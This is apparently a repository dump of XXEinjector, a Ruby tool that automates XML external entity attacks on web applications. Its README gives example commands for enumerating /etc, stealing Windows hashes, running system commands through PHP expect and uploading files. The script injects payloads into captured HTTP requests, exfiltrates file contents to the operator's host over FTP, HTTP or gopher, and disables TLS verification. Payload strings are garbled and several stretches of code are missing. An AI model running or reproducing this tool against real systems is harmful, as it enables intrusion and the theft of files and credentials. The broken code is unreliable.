├── .gitignore
├── README.md
└── XXEinjector.rb
/.gitignore:
--------------------------------------------------------------------------------
1 | *.txt
2 | *.log
3 | Logs/
4 | requests/
5 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | ## XXEinjector
2 |
3 | XXEinjector automates retrieving files using direct and out of band methods. Directory listing only works in Java applications. Bruteforcing method needs to be used for other applications.
4 |
5 | ## Options:
6 | ```
7 | --host Mandatory - our IP address for reverse connections. (--host=192.168.0.2)
8 | --file Mandatory - file containing valid HTTP request with xml. You can also mark with "XXEINJECT" a point where DTD should be injected. (--file=/tmp/req.txt)
9 | --path Mandatory if enumerating directories - Path to enumerate. (--path=/etc)
10 | --brute Mandatory if bruteforcing files - File with paths to bruteforce. (--brute=/tmp/brute.txt)
11 | --logger Log results only. Do not send requests. HTTP logger looks for "p" parameter with results.
12 |
13 | --rhost Remote host's IP address or domain name. Use this argument only for requests without Host header. (--rhost=192.168.0.3)
14 | --rport Remote host's TCP port. Use this argument only for requests without Host header and for non-default values. (--rport=8080)
15 |
16 | --oob Out of Band exploitation method. FTP is default. FTP can be used in any application. HTTP can be used for bruteforcing and enumeration through directory listing in Java < 1.7 applications. Gopher can only be used in Java < 1.7 applications. (--oob=http/ftp/gopher)
17 | --direct Use direct exploitation instead of out of band. Unique mark should be specified as a value for this argument. This mark specifies where results of XXE start and end. Specify --direct-xml to see how XML in request file should look like or --localdtd-xml if you want to use local DTD during exploitation. In case of any problems with start and end marks when special characters are present in reponse before or after output data please use Burp Proxy match and replace option to replace that. (--direct=UNIQUEMARKSTART,UNIQUEMARKEND)
18 | --cdata Improve direct exploitation with CDATA. Data is retrieved directly, however OOB is used to construct CDATA payload. Specify --cdata-xml to see how request should look like in this technique.
19 | --2ndfile File containing valid HTTP request used in second order exploitation. (--2ndfile=/tmp/2ndreq.txt)
20 | --phpfilter Use PHP filter to base64 encode target file before sending.
21 | --netdoc Use netdoc protocol instead of file (Java).
22 | --enumports Enumerating unfiltered ports for reverse connection. Specify value "all" to enumerate all TCP ports. (--enumports=21,22,80,443,445)
23 |
24 | --hashes Steals Windows hash of the user that runs an application.
25 | --expect Uses PHP expect extension to execute arbitrary system command. Best works with HTTP and PHP filter. (--expect=ls)
26 | --upload Uploads specified file using Java jar schema into temp file. (--upload=/tmp/upload.txt)
27 | --xslt Tests for XSLT injection.
28 |
29 | --ssl Use SSL.
30 | --proxy Proxy to use. (--proxy=127.0.0.1:8080)
31 | --httpport Set custom HTTP port. (--httpport=80)
32 | --ftpport Set custom FTP port. (--ftpport=21)
33 | --gopherport Set custom gopher port. (--gopherport=70)
34 | --jarport Set custom port for uploading files using jar. (--jarport=1337)
35 | --xsltport Set custom port for XSLT injection test. (--xsltport=1337)
36 |
37 | --test This mode shows request with injected payload and quits. Used to verify correctness of request without sending it to a server.
38 | --urlencode URL encode injected DTD. This is default for URI.
39 | --nodtd If you want to put DTD in request by yourself. Specify "--oob-xml" to show how DTD should look like.
40 | --output Output file for bruteforcing and logger mode. By default it logs to brute.log in current directory. (--output=/tmp/out.txt)
41 | --timeout Timeout for receiving file/directory content. (--timeout=20)
42 | --contimeout Timeout for closing connection with server. This is used to prevent DoS condition. (--contimeout=20)
43 | --fast Skip asking what to enumerate. Prone to false-positives.
44 | --verbose Show verbose messages.
45 | ```
46 |
47 | ## Example usage:
48 | ```
49 | Enumerating /etc directory in HTTPS application:
50 | ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl
51 | Enumerating /etc directory using gopher for OOB method:
52 | ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
53 | Second order exploitation:
54 | ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt --2ndfile=/tmp/2ndreq.txt
55 | Bruteforcing files using HTTP out of band method and netdoc protocol:
56 | ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt --file=/tmp/req.txt --oob=http --netdoc
57 | Enumerating using direct exploitation:
58 | ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARKSTART,UNIQUEMARKEND
59 | Enumerating unfiltered ports:
60 | ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
61 | Stealing Windows hashes:
62 | ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --hashes
63 | Uploading files using Java jar:
64 | ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --upload=/tmp/uploadfile.pdf
65 | Executing system commands using PHP expect:
66 | ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter --expect=ls
67 | Testing for XSLT injection:
68 | ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --xslt
69 | Log requests only:
70 | ruby XXEinjector.rb --logger --oob=http --output=/tmp/out.txt
71 | ```
72 |
73 | **Disclaimer**
74 |
75 | This repository contains tool developed strictly for educational purposes. Any misuse of the tool for illegal activities is strictly prohibited.
76 |
77 | **Legal Notice**
78 |
79 | It is important to understand and comply with all local laws and regulations related to cybersecurity and ethical hacking. Unauthorized access to computer systems, networks, or data is illegal and punishable by law. The developer of this repository is not responsible for any misuse of the tools contained herein.
80 |
81 | By using the tools in this repository, you agree to use them responsibly and ethically. Always obtain explicit permission before testing or attempting to access any network, system, or data that does not belong to you.
82 |
--------------------------------------------------------------------------------
/XXEinjector.rb:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env ruby
2 |
3 | require 'socket'
4 | require 'fileutils'
5 | require 'uri'
6 | require 'cgi'
7 | require 'net/http'
8 | require 'net/https'
9 | require 'base64'
10 | require 'readline'
11 |
12 | # CONFIGURE
13 | host = "" # our external ip
14 | $path = "" # path to enumerate
15 | $file = "" # file with vulnerable HTTP request
16 | $secfile = "" # file with second request (2nd order)
17 | enum = "ftp" # which out of band protocol should be used for file retrieval - ftp/http/gopher
18 | $logger = "n" # only log requests, do not send anything
19 |
20 | $proto = "http" # protocol to use - http/https
21 | $proxy = "" # proxy host
22 | $proxy_port = "" # proxy port
23 |
24 | enumports = "" # which ports should be checked if they are unfiltered for reverse connections
25 | phpfilter = "n" # if yes php filter will be used to base64 encode file content - y/n
26 | $urlencode = "n" # if injected DTD should be URL encoded
27 | enumall = "n" # if yes XXEinjector will not ask what to enum (prone to false positives) - y/n
28 | $brute = "" # file with paths to bruteforce
29 | $direct = "" # if direct exploitation should be used, this parameter should contain unique mark between which results are returned
30 | cdata = "n" # if XXEinjector should use CDATA while using direct exploitation
31 |
32 | hashes = "n" # steal Windows hashes
33 | upload = "" # upload this file into temp directory using Java jar schema
34 | expect = "" # command that gets executed using PHP expect
35 | $xslt = "n" # tests for XSLT
36 |
37 | $test = false # test mode, shows only payload
38 | $dtdi = "y" # if yes then DTD is injected automatically
39 | $rproto = "file" # file or netdoc protocol to retrieve data
40 | $output = "brute.log" # output file for brute and logger modes
41 | $verbose = "n" # verbose messaging
42 | timeout = 10 # timeout for receiving responses
43 | $contimeout = 30 # timeout used to close connection with server
44 |
45 | $port = 0 # remote host application port
46 | $remote = "" # remote host URL/IP address
47 |
48 | http_port = 80 # http port that receives file contents/directory listings and serves XML files
49 | ftp_port = 21 # ftp port that receives file contents/directory listings
50 | gopher_port = 70 # gopher port that receives file contents/directory listings
51 | jar_port = 1337 # port accepts connections and then sends files
52 | xslt_port = 1337 # port that is used to test for XSLT injection
53 |
54 | # holds HTTP responses
55 | $response = ""
56 | # regex to find directory listings
57 | $regex = /^[$.\-_~ 0-9A-Za-z]+$/
58 | # array that holds filenames to enumerate
59 | $filenames = Array.new
60 | # temp path holders - hold next filenames in different formats for enumeration
61 | $nextpath = ""
62 | enumpath = ""
63 | $tmppath = ""
64 | $directpath = ""
65 | # array that contains skipped and allowed paths
66 | blacklist = Array.new
67 | whitelist = Array.new
68 | # other variables
69 | $method = "POST" # HTTP method
70 | cmp = "" # holds user input
71 | switch = 0 # this switch locks enumeration if response is pending
72 | i = 0 # main counter
73 | $time = 1 # HTTP response timeout
74 |
75 | # set all variables
76 | ARGV.each do |arg|
77 | host = arg.split("=")[1] if arg.include?("--host=")
78 | $path = arg.split("=")[1] if arg.include?("--path=")
79 | $file = arg.split("=")[1] if arg.include?("--file=")
80 | enum = arg.split("=")[1] if arg.include?("--oob=")
81 | $proto = "https" if arg.include?("--ssl")
82 | $proxy = arg.split("=")[1].split(":")[0] if arg.include?("--proxy=")
83 | $proxy_port = arg.split("=")[1].split(":")[1] if arg.include?("--proxy=")
84 | phpfilter = "y" if arg.include?("--phpfilter")
85 | enumall = "y" if arg.include?("--fast")
86 | $brute = arg.split("=")[1] if arg.include?("--brute=")
87 | $verbose = "y" if arg.include?("--verbose")
88 | xslt_port = arg.split("=")[1] if arg.include?("--xsltport=")
89 | http_port = arg.split("=")[1] if arg.include?("--httpport=")
90 | ftp_port = arg.split("=")[1] if arg.include?("--ftpport=")
91 | gopher_port = arg.split("=")[1] if arg.include?("--gopherport=")
92 | jar_port = arg.split("=")[1] if arg.include?("--jarport=")
93 | timeout = Integer(arg.split("=")[1]) if arg.include?("--timeout=")
94 | hashes = "y" if arg.include?("--hashes")
95 | upload = arg.split("=")[1] if arg.include?("--upload=")
96 | expect = arg.split("=")[1] if arg.include?("--expect=")
97 | enumports = arg.split("=")[1] if arg.include?("--enumports=")
98 | $urlencode = "y" if arg.include?("--urlencode")
99 | $dtdi = "n" if arg.include?("--nodtd")
100 | $xslt = "y" if arg.include?("--xslt")
101 | $direct = arg.split("=")[1] if arg.include?("--direct=")
102 | $logger = "y" if arg.include?("--logger")
103 | $brute = "logger" if arg.include?("--logger")
104 | $output = arg.split("=")[1] if arg.include?("--output=")
105 | $secfile = arg.split("=")[1] if arg.include?("--2ndfile=")
106 | $rproto = "netdoc" if arg.include?("--netdoc")
107 | $contimeout = Integer(arg.split("=")[1]) if arg.include?("--contimeout=")
108 | $port = Integer(arg.split("=")[1]) if arg.include?("--rport=")
109 | $remote = arg.split("=")[1] if arg.include?("--rhost=")
110 | $test = true if arg.include?("--test")
111 | cdata = "y" if arg.include?("--cdata")
112 | end
113 |
114 | # show DTD to inject
115 | if ARGV.include? "--oob-xml"
116 | if host == ""
117 | host = "YOUR_HOST"
118 | end
119 | if http_port == ""
120 | http_port = "HTTPPORT"
121 | end
122 | puts ""
123 | puts "%remote;%int;%trick;]>"
124 | puts ""
125 | exit(1)
126 |
127 | # show sample direct exploitation XML
128 | elsif ARGV.include? "--direct-xml"
129 | puts ""
130 | puts "]>UNIQUEMARK&direct;UNIQUEMARK"
131 | puts ""
132 | exit(1)
133 |
134 | # show sample direct exploitation XML using local DTD
135 | elsif ARGV.include? "--localdtd-xml"
136 | puts ""
137 | puts "\">%eval;%error;'>%local_dtd;]>"
138 | puts ""
139 | exit(1)
140 |
141 | # show sample direct exploitation XML with CDATA
142 | elsif ARGV.include? "--cdata-xml"
143 | if host == ""
144 | host = "YOUR_HOST"
145 | end
146 | if http_port == ""
147 | http_port = "HTTPPORT"
148 | end
149 | puts ""
150 | puts "\">%remote;]>UNIQUEMARK&join;UNIQUEMARK"
151 | puts ""
152 | exit(1)
153 |
154 | # show main menu
155 | elsif ARGV.nil? || (ARGV.size < 3 && $logger == "n") || (host == "" && $direct == "" && $logger == "n") || ($file == "" && $logger == "n") || ($path == "" && $brute == "" && hashes == "n" && upload == "" && expect == "" && enumports == "" && $xslt == "n" && $logger == "n")
156 | puts "XXEinjector by Jakub Pa\u0142aczy\u0144ski"
157 | puts ""
158 | puts "XXEinjector automates retrieving files using direct and out of band methods. Directory listing only works in Java applications. Bruteforcing method needs to be used for other applications."
159 | puts ""
160 | puts "Options:"
161 | puts " --host Mandatory - our IP address for reverse connections. (--host=192.168.0.2)"
162 | puts " --file Mandatory - file containing valid HTTP request with xml. You can also mark with \"XXEINJECT\" a point where DTD should be injected. (--file=/tmp/req.txt)"
163 | puts " --path Mandatory if enumerating directories - Path to enumerate. (--path=/etc)"
164 | puts " --brute Mandatory if bruteforcing files - File with paths to bruteforce. (--brute=/tmp/brute.txt)"
165 | puts " --logger Log results only. Do not send requests. HTTP logger looks for \"p\" parameter with results."
166 | puts ""
167 | puts " --rhost Remote host's IP address or domain name. Use this argument only for requests without Host header. (--rhost=192.168.0.3)"
168 | puts " --rport Remote host's TCP port. Use this argument only for requests without Host header and for non-default values. (--rport=8080)"
169 | puts ""
170 | puts " --oob Out of Band exploitation method. FTP is default. FTP can be used in any application. HTTP can be used for bruteforcing and enumeration through directory listing in Java < 1.7 applications. Gopher can only be used in Java < 1.7 applications. (--oob=http/ftp/gopher)"
171 | puts " --direct Use direct exploitation instead of out of band. Unique mark should be specified as a value for this argument. This mark specifies where results of XXE start and end. Specify --direct-xml to see how XML in request file should look like or --localdtd-xml if you want to use local DTD during exploitation. In case of any problems with start and end marks when special characters are present in reponse before or after output data please use Burp Proxy match and replace option to replace that. (--direct=UNIQUEMARKSTART,UNIQUEMARKEND)"
172 | puts " --cdata Improve direct exploitation with CDATA. Data is retrieved directly, however OOB is used to construct CDATA payload. Specify --cdata-xml to see how request should look like in this technique."
173 | puts " --2ndfile File containing valid HTTP request used in second order exploitation. (--2ndfile=/tmp/2ndreq.txt)"
174 | puts " --phpfilter Use PHP filter to base64 encode target file before sending."
175 | puts " --netdoc Use netdoc protocol instead of file (Java)."
176 | puts " --enumports Enumerating unfiltered ports for reverse connection. Specify value \"all\" to enumerate all TCP ports. (--enumports=21,22,80,443,445)"
177 | puts ""
178 | puts " --hashes Steals Windows hash of the user that runs an application."
179 | puts " --expect Uses PHP expect extension to execute arbitrary system command. Best works with HTTP and PHP filter. (--expect=ls)"
180 | puts " --upload Uploads specified file using Java jar schema into temp file. (--upload=/tmp/upload.txt)"
181 | puts " --xslt Tests for XSLT injection."
182 | puts ""
183 | puts " --ssl Use SSL."
184 | puts " --proxy Proxy to use. (--proxy=127.0.0.1:8080)"
185 | puts " --httpport Set custom HTTP port. (--httpport=80)"
186 | puts " --ftpport Set custom FTP port. (--ftpport=21)"
187 | puts " --gopherport Set custom gopher port. (--gopherport=70)"
188 | puts " --jarport Set custom port for uploading files using jar. (--jarport=1337)"
189 | puts " --xsltport Set custom port for XSLT injection test. (--xsltport=1337)"
190 | puts ""
191 | puts " --test This mode shows request with injected payload and quits. Used to verify correctness of request without sending it to a server."
192 | puts " --urlencode URL encode injected DTD. This is default for URI."
193 | puts " --nodtd If you want to put DTD in request by yourself. Specify \"--oob-xml\" to show how DTD should look like."
194 | puts " --output Output file for bruteforcing and logger mode. By default it logs to brute.log in current directory. (--output=/tmp/out.txt)"
195 | puts " --timeout Timeout for receiving file/directory content. (--timeout=20)"
196 | puts " --contimeout Timeout for closing connection with server. This is used to prevent DoS condition. (--contimeout=20)"
197 | puts " --fast Skip asking what to enumerate. Prone to false-positives."
198 | puts " --verbose Show verbose messages."
199 | puts ""
200 | puts "Example usage:"
201 | puts " Enumerating /etc directory in HTTPS application:"
202 | puts " ruby #{__FILE__} --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl"
203 | puts " Enumerating /etc directory using gopher for OOB method:"
204 | puts " ruby #{__FILE__} --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher"
205 | puts " Second order exploitation:"
206 | puts " ruby #{__FILE__} --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt --2ndfile=/tmp/2ndreq.txt"
207 | puts " Bruteforcing files using HTTP out of band method and netdoc protocol:"
208 | puts " ruby #{__FILE__} --host=192.168.0.2 --brute=/tmp/filenames.txt --file=/tmp/req.txt --oob=http --netdoc"
209 | puts " Enumerating using direct exploitation:"
210 | puts " ruby #{__FILE__} --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARKSTART,UNIQUEMARKEND"
211 | puts " Enumerating unfiltered ports:"
212 | puts " ruby #{__FILE__} --host=192.168.0.2 --file=/tmp/req.txt --enumports=all"
213 | puts " Stealing Windows hashes:"
214 | puts " ruby #{__FILE__} --host=192.168.0.2 --file=/tmp/req.txt --hashes"
215 | puts " Uploading files using Java jar:"
216 | puts " ruby #{__FILE__} --host=192.168.0.2 --file=/tmp/req.txt --upload=/tmp/uploadfile.pdf"
217 | puts " Executing system commands using PHP expect:"
218 | puts " ruby #{__FILE__} --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter --expect=ls"
219 | puts " Testing for XSLT injection:"
220 | puts " ruby #{__FILE__} --host=192.168.0.2 --file=/tmp/req.txt --xslt"
221 | puts " Log requests only:"
222 | puts " ruby #{__FILE__} --logger --oob=http --output=/tmp/out.txt"
223 | puts ""
224 | exit(1)
225 | else
226 | puts "XXEinjector by Jakub Pa\u0142aczy\u0144ski"
227 | puts ""
228 | puts "Enumeration options:"
229 | puts "\"y\" - enumerate currect file (default)"
230 | puts "\"n\" - skip currect file"
231 | puts "\"a\" - enumerate all files in currect directory"
232 | puts "\"s\" - skip all files in currect directory"
233 | puts "\"q\" - quit"
234 | puts ""
235 | end
236 |
237 | # EXECUTION
238 |
239 | ### Processing Request File ###
240 |
241 | # Configure basic options
242 |
243 | # set proxy
244 | if $proxy == ""
245 | $proxy = nil
246 | $proxy_port = nil
247 | end
248 |
249 | # get connection host and port
250 | if $logger == "n"
251 | z = 1
252 | loop do
253 | begin
254 | break if File.readlines($file)[z].chomp.empty?
255 | if File.readlines($file)[z].include?("Host: ")
256 | $remote = File.readlines($file)[z].split(" ")[1]
257 | if $remote.include?(":")
258 | $port = $remote.split(":")[1]
259 | $remote = $remote.split(":")[0]
260 | end
261 | end
262 | rescue
263 | puts "[-] Wrong HTTP file format."
264 | exit(1)
265 | end
266 | z = z + 1
267 | end
268 | if $port == 0
269 | if $proto == "http"
270 | $port = 80
271 | else
272 | $port = 443
273 | end
274 | end
275 | if $remote == ""
276 | puts "[-] Cannot retrieve hostname."
277 | exit(1)
278 | end
279 | end
280 |
281 | # Configure main request
282 | def configreq()
283 |
284 | found = 0 # for detecting injected DTD
285 |
286 | # assign HTTP method
287 | $method = File.readlines($file)[0].split(" ")[0]
288 |
289 | # get URI path
290 | $uri = File.readlines($file)[0].split(" ")[1]
291 | if $dtdi == "y"
292 | turi = CGI.unescape($uri).gsub("+", " ")
293 | if turi.include?("XXEINJECT")
294 | if $direct != ""
295 | $uri = $uri.sub("XXEINJECT", $rproto + ":///#{$directpath}")
296 | found = found + 1
297 | elsif $xslt == "n"
298 | $uri = $uri.sub("XXEINJECT", URI.encode($dtd).gsub("%20", "+"))
299 | found = found + 1
300 | else
301 | $uri = $uri.sub("XXEINJECT", URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D"))
302 | found = found + 1
303 | end
304 | #puts "DTD injected." if $verbose == "y"
305 | elsif turi.include?("", "?>" + URI.encode($dtd).gsub("%20", "+"))
308 | $uri = $uri.sub(/(\?%3e)/i, '\1' + URI.encode($dtd).gsub("%20", "+"))
309 | $uri = $uri.sub(/(%3f>)/i, '\1' + URI.encode($dtd).gsub("%20", "+"))
310 | $uri = $uri.sub(/(%3f%3e)/i, '\1' + URI.encode($dtd).gsub("%20", "+"))
311 | #puts "DTD injected." if $verbose == "y"
312 | found = found + 1
313 | else
314 | if turi.match(/(\<\?xml)(.*)(&)/i)
315 | $uri = $uri.sub(/(\<\?xml)(.*)(&)/i, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D") + "&")
316 | $uri = $uri.sub(/(%3c%3fxml)(.*)(&)/i, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D") + "&")
317 | $uri = $uri.sub(/(%3c\?xml)(.*)(&)/i, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D") + "&")
318 | $uri = $uri.sub(/(\<%3fxml)(.*)(&)/i, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D") + "&")
319 | found = found + 1
320 | elsif turi.match(/(\<\?xml)(.*)/i)
321 | $uri = $uri.sub(/(\<\?xml)(.*)/i, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D"))
322 | $uri = $uri.sub(/(%3c%3fxml)(.*)/i, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D"))
323 | $uri = $uri.sub(/(%3c\?xml)(.*)/i, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D"))
324 | $uri = $uri.sub(/(\<%3fxml)(.*)/i, URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D"))
325 | found = found + 1
326 | end
327 | #puts "DTD injected." if $verbose == "y"
328 | end
329 | end
330 | end
331 |
332 | # get headers
333 | i = 1
334 | $headers = Hash.new
335 | loop do
336 | break if File.readlines($file)[i].chomp.empty?
337 | if !File.readlines($file)[i].include?("Host: ")
338 | header = File.readlines($file)[i].chomp
339 | if $dtdi == "y"
340 | if header.include?("XXEINJECT")
341 | if $direct != ""
342 | header = header.sub("XXEINJECT", $rproto + ":///#{$directpath}")
343 | found = found + 1
344 | elsif $urlencode == "y"
345 | if $xslt == "n"
346 | header = header.sub("XXEINJECT", URI.encode($dtd).gsub("%20", "+").gsub(";", "%3B"))
347 | else
348 | header = header.sub("XXEINJECT", URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D").gsub(";", "%3B"))
349 | end
350 | found = found + 1
351 | else
352 | if $xslt == "n"
353 | header = header.sub("XXEINJECT", $dtd)
354 | else
355 | header = header.sub("XXEINJECT", $xsl)
356 | end
357 | found = found + 1
358 | end
359 | #puts "DTD injected." if $verbose == "y"
360 | end
361 | end
362 | if header.include?("Accept-Encoding") && $direct != ""
363 | else
364 | $headers[header.split(": ")[0]] = header.split(": ")[1]
365 | end
366 | end
367 | i = i + 1
368 | end
369 |
370 | # get body
371 | i = i + 1
372 | $post = ""
373 | postfind = 0
374 | loop do
375 | break if File.readlines($file)[i].nil?
376 | postline = File.readlines($file)[i]
377 | if $dtdi == "y"
378 | tline = CGI.unescape(postline).gsub("+", " ")
379 | if tline.include?("XXEINJECT") && $xslt == "n"
380 | if $direct != ""
381 | postline = postline.sub("XXEINJECT", $rproto + ":///#{$directpath}")
382 | found = found + 1
383 | elsif $urlencode == "y"
384 | if $xslt == "n"
385 | postline = postline.sub("XXEINJECT", URI.encode($dtd).gsub("%20", "+"))
386 | else
387 | postline = postline.sub("XXEINJECT", URI.encode($xsl).gsub("%20", "+").gsub("?", "%3F").gsub("=", "%3D"))
388 | end
389 | found = found + 1
390 | else
391 | if $xslt == "n"
392 | postline = postline.sub("XXEINJECT", $dtd)
393 | else
394 | postline = postline.sub("XXEINJECT", $xsl)
395 | end
396 | found = found + 1
397 | end
398 | #puts "DTD injected." if $verbose == "y"
399 | elsif tline.include?("XXEINJECT") && $xslt == "y"
400 | postfind = 1
401 | elsif tline.include?("", "?>" + URI.encode($dtd).gsub("%20", "+"))
404 | postline = postline.sub(/(\?%3e)/i, '\1' + URI.encode($dtd).gsub("%20", "+"))
405 | postline = postline.sub(/(%3f>)/i, '\1' + URI.encode($dtd).gsub("%20", "+"))
406 | postline = postline.sub(/(%3f%3e)/i, '\1' + URI.encode($dtd).gsub("%20", "+"))
407 | found = found + 1
408 | else
409 | postline = postline.sub("?>", "?>" + $dtd)
410 | postline = postline.sub(/(\?%3e)/i, '\1' + $dtd)
411 | postline = postline.sub(/(%3f>)/i, '\1' + $dtd)
412 | postline = postline.sub(/(%3f%3e)/i, '\1' + $dtd)
413 | found = found + 1
414 | end
415 | #puts "DTD injected." if $verbose == "y"
416 | elsif tline.include?(" 1
469 | puts "[-] Multiple instances of XML found. It may results in false-positives."
470 | end
471 |
472 | # configuring request
473 | $request = Net::HTTP.new($remote, $port, $proxy, $proxy_port)
474 |
475 | # set HTTPS
476 | if $proto == "https"
477 | $request.use_ssl = true
478 | $request.verify_mode = OpenSSL::SSL::VERIFY_NONE
479 | end
480 | end
481 |
482 | ### End of Processing Request File ###
483 |
484 | ### Configure request for 2nd order case ###
485 | if $secfile != ""
486 |
487 | # check HTTP method
488 | $secmethod = File.readlines($secfile)[0].split(" ")[0]
489 |
490 | # get URI path
491 | $securi = File.readlines($secfile)[0].split(" ")[1]
492 |
493 | # get headers
494 | y = 1
495 | $secheaders = Hash.new
496 | loop do
497 | break if File.readlines($secfile)[y].chomp.empty?
498 | if !File.readlines($secfile)[y].include?("Host: ")
499 | header = File.readlines($secfile)[y].chomp
500 | if header.include?("Accept-Encoding")
501 | else
502 | $secheaders[header.split(": ")[0]] = header.split(": ")[1]
503 | end
504 | end
505 | y = y + 1
506 | end
507 |
508 | # get body
509 | y = y + 1
510 | $secpost = ""
511 | loop do
512 | break if File.readlines($secfile)[y].nil?
513 | postline = File.readlines($secfile)[y]
514 | $secpost += postline
515 | y = y + 1
516 | end
517 |
518 | # configuring 2nd request
519 | $secrequest = Net::HTTP.new($remote, $port, $proxy, $proxy_port)
520 |
521 | # set HTTPS
522 | if $proto == "https"
523 | $secrequest.use_ssl = true
524 | $secrequest.verify_mode = OpenSSL::SSL::VERIFY_NONE
525 | end
526 | end
527 |
528 | ### End of Processing 2nd Request File ###
529 |
530 | # Sending request
531 | def sendreq()
532 |
533 | if $test == true
534 | puts "URL:"
535 | if $proto == "http"
536 | puts "http://#{$remote}:#{$port}#{$uri}"
537 | else
538 | puts "https://#{$remote}:#{$port}#{$uri}"
539 | end
540 | puts "\nHeaders:"
541 | puts $headers
542 | if $post != ""
543 | puts "\nRequest body:"
544 | puts $post
545 | end
546 | exit(1)
547 | end
548 |
549 | if $verbose == "y"
550 | puts "[+] Sending request with malicious XML:"
551 | if $proto == "http"
552 | puts "http://#{$remote}:#{$port}#{$uri}"
553 | puts $headers
554 | puts "\n"
555 | puts $post
556 | puts "\n"
557 | else
558 | puts "https://#{$remote}:#{$port}#{$uri}"
559 | puts $headers
560 | puts "\n"
561 | puts $post
562 | puts "\n"
563 | end
564 | else
565 | puts "[+] Sending request with malicious XML."
566 | end
567 |
568 | $response = ""
569 | begin
570 | status = Timeout::timeout($time) {
571 | if ['GET', 'HEAD', 'TRACE', 'OPTIONS', 'MOVE', 'COPY', 'DELETE'].include? $method
572 | $response = $request.send_request($method, $uri, nil, $headers)
573 | else
574 | $response = $request.send_request($method, $uri, $post, $headers)
575 | end
576 | }
577 | rescue Timeout::Error
578 | end
579 | end
580 |
581 | # Sending second request
582 | def send2ndreq()
583 |
584 | if $verbose == "y"
585 | puts "[+] Sending second request:"
586 | if $proto == "http"
587 | puts "http://#{$remote}:#{$port}#{$securi}"
588 | puts $secheaders
589 | puts "\n"
590 | puts $secpost
591 | puts "\n"
592 | else
593 | puts "https://#{$remote}:#{$port}#{$securi}"
594 | puts $secheaders
595 | puts "\n"
596 | puts $secpost
597 | puts "\n"
598 | end
599 | else
600 | puts "[+] Sending second request."
601 | end
602 |
603 | $response = ""
604 | begin
605 | status = Timeout::timeout($time) {
606 | if ['GET', 'HEAD', 'TRACE', 'OPTIONS', 'MOVE', 'COPY', 'DELETE'].include? $secmethod
607 | $response = $secrequest.send_request($secmethod, $securi, nil, $secheaders)
608 | else
609 | $response = $secrequest.send_request($secmethod, $securi, $secpost, $secheaders)
610 | end
611 | }
612 | rescue Timeout::Error
613 | end
614 | end
615 |
616 | # logging to separate file or output file if in bruteforce mode
617 | def log(param)
618 | if $brute == ""
619 | logpath = "#{$path}"
620 | if $direct == ""
621 | if $tmppath != "" && logpath[-1] != "/"
622 | logpath += "/"
623 | end
624 | logpath += "#{$tmppath}"
625 | else
626 | if $nextpath != "" && logpath[-1] != "/"
627 | logpath += "/"
628 | end
629 | logpath += "#{$nextpath}"
630 | end
631 | logpath = logpath.gsub('\\','/')
632 | logpath[0] = "" if logpath[0] == "/"
633 | logpath[-1] = "" if logpath[-1] == "/"
634 | if $tmppath != ""
635 | FileUtils.mkdir_p "Logs/" + $remote + "/" + logpath.split("/")[0..-2].join('/')
636 | else
637 | if logpath.include?("/")
638 | FileUtils.mkdir_p "Logs/" + $remote + "/" + logpath.split("/")[0..-2].join('/')
639 | else
640 | FileUtils.mkdir_p "Logs/" + $remote + "/" + logpath
641 | end
642 | end
643 | if $done == 0
644 | if $cut == 1
645 | #puts "Successfully logged file: /#{logpath}"
646 | else
647 | if logpath[-1] == ":"
648 | #puts "Successfully logged file: #{logpath}/"
649 | else
650 | #puts "Successfully logged file: #{logpath}"
651 | end
652 | end
653 | $done = 1
654 | end
655 | if logpath == ""
656 | log = File.open("Logs/" + $remote + "/" + "rootdir.log", "a")
657 | else
658 | log = File.open("Logs/" + $remote + "/" + "#{logpath}.log", "a")
659 | end
660 | log.write param
661 | log.close
662 | else
663 | log = File.open($output, "a")
664 | log.write param
665 | puts "#{param}\n" if $logger == "y" || $verbose == "y"
666 | print "> " if $logger == "y"
667 | log.close
668 | end
669 | end
670 |
671 | # pushing enumerated items to an array
672 | def pusharr(param)
673 | if $brute == ""
674 | param = param.chomp
675 | if param.match $regex
676 | if $direct == ""
677 | logp = $tmppath
678 | if $tmppath != ""
679 | logp += "/"
680 | end
681 | else
682 | logp = $nextpath
683 | if $nextpath != ""
684 | logp += "/"
685 | end
686 | end
687 | logp += param
688 | $filenames.push(logp)
689 | puts "#{logp}"
690 | end
691 | end
692 | end
693 |
694 | # initial changes
695 | # set longer timeout for direct exploitation
696 | if $direct != ""
697 | $time = 30
698 | end
699 |
700 | # Remove first slash if unix-like path specified
701 | $cut = 0
702 | if $path[0] == "/"
703 | $path[0] = ''
704 | $cut = 1
705 | end
706 |
707 | # Remove slash at the end if not Windows drive
708 | if $path[-1] == "/" && $path[-2] != ":"
709 | $path[-1] = ''
710 | end
711 |
